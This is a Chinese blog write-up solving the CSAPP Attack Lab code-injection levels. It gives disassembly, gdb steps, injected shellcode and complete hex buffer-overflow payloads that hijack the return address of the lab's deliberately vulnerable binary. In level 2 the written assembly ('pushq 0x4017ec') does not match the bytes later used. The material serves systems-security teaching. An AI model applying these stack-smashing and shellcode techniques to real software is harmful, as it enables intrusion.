CSAPP-Lab3-AttackLab

这一个lab还是汇编相关的实验

Part1 Code Injection Attacks

level1

先将ctarget的反汇编弄出来

objdump -d ctarget > c.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}

其中,ctarget的流程就是执行test函数,然后输入字符串。

level1的要求就是调用getbuf()后,调用touch1函数

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

getbuf开辟了40个字节的栈空间

v2-946a769750885b802fe3f7d387cbb5f6_720w

这个echo函数开辟了24字节的栈空间,函数里有用户自定义的8字节的数组,用户在8字节内可以随便输入,但是输入超过23字节,就会覆盖到调用者栈帧最下面的返回地址。这里我们的是开辟了40个字节的空间,只要我们输入的字符串将调用者的返回地址覆盖成我们想要它返回的地址即可。查看touch1的反汇编

1
2
3
4
5
6
7
8
9
10
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

我们发现touch1的首地址是0x4017c0,注意使用小端法,输入的字符串要写成c0 17 40,这样开辟的40字节空间写什么都无所谓 最后填成这样即可:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40

image-20231022122943752

level2

第二阶段,我们需要做的是再输入字符串中注入一小段代码,然后拦截程序流,跳转到touch2

1
2
3
4
5
6
7
8
9
10
11
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

这段程序就是验证传进来的参数val是否和cookie中值相等。本文中我的cookie值为:0x59b997fa

解题思路:

  • 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为%rsp的地址
  • cookie值移入到%rdi%rdi是函数调用的第一个参数
  • 获取touch2的起始地址
  • 想要调用touch2,而又不能直接使用call,jmp等指令,所以只能使用ret改变当前指令寄存器的指向地址。ret是从栈上弹出返回地址,所以在次之前必须先将touch2的地址压栈

所以我们要注入的代码就是:

1
2
3
4
5
/** inject.s */  注入的代码

movq $0x59b997fa, %rdi
pushq 0x4017ec
ret

我们需要把上述汇编代码改成计算机可以执行的指令序列:

1
2
3
4
5
6
7
8
9
10
11
12
hoshea@hoshea-pc:~/Desktop/CSAPP/target1$ gcc -c inject.s 
hoshea@hoshea-pc:~/Desktop/CSAPP/target1$ objdump -d inject.o

inject.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq

因此三条指令序列如下:

1
48 c7 c7 fa 97 b9 59 ff 34 25 ec 17 40 00 c3

下面就是寻找rsp的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
linux> gdb ctarget

(gdb)> break getbuf
(gdb)> run -q
(gdb)> disas
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq

(gdb)> stepi
(gdb) p /x $rsp
$1 = 0x5561dc78

如上所示,我们获取到了%rsp的地址,结合上文所讲,可以构造出如下字符串,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp的地址,可以得到如下字符串:

1
2
3
4
5
48 c7 c7 fa 97 b9 59 68 ec 17 
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <--- 注入代码的起始地址

v2-a6224fac90b9816ec896e6aaefd5f3e2_720w

level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

这次还是要调用touch3,与前面不同的是,这次传进的参数是一个字符串,同时函数内部用了另外一个函数来比较。本次要 比较的是”59b997fa”这个字符串。

writeup里给了几个提示:

  • 在C语言中字符串是以\0结尾,所以在字符串序列的结尾是一个字节0
  • man ascii 可以用来查看每个字符的16进制表示
  • 当调用hexmatchstrncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎。

这次与上一次的最大区别就是多了一个函数,hexmatch也开辟了110字节的栈帧,strncmp也会开辟空间,但是就代码来看,*s存放的地址是随机的,如果我们将数据放在getbuf的栈空间里面,很有可能就被这两个函数cover了。所以我们要把数据放到一个相对安全的栈空间里,这里我们选择放在父帧即test的栈空间里。gdb看一下test栈空间地址。

解题思路:

  • cookie字符串转化为16进制
  • 将字符串的地址传送到%rdi
  • 和第二阶段一样,想要调用touch3函数,则先将touch3函数的地址压栈,然后调用ret指令。
1
2
3
4
5
/** inject.s */  注入的代码

movq $0x5561dca8, %rdi
pushq 0x4018fa
ret
1
2
3
4
5
6
7
8
9
linux> gcc -c inject.s
linux> objdump -d inject.o

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq

可以得到这三条指令序列如下:

1
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

使用man ascii命令,可以得到cookie的16进制数表示:

1
35 39 62 39 39 37 66 61 00

1433829-4f564d4ccfc8b962

根据上述,我们可以得到最后输入字符的序列如下:

1
2
3
4
5
6
48 c7 c7 a8 dc 61 55 68 fa 18 
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00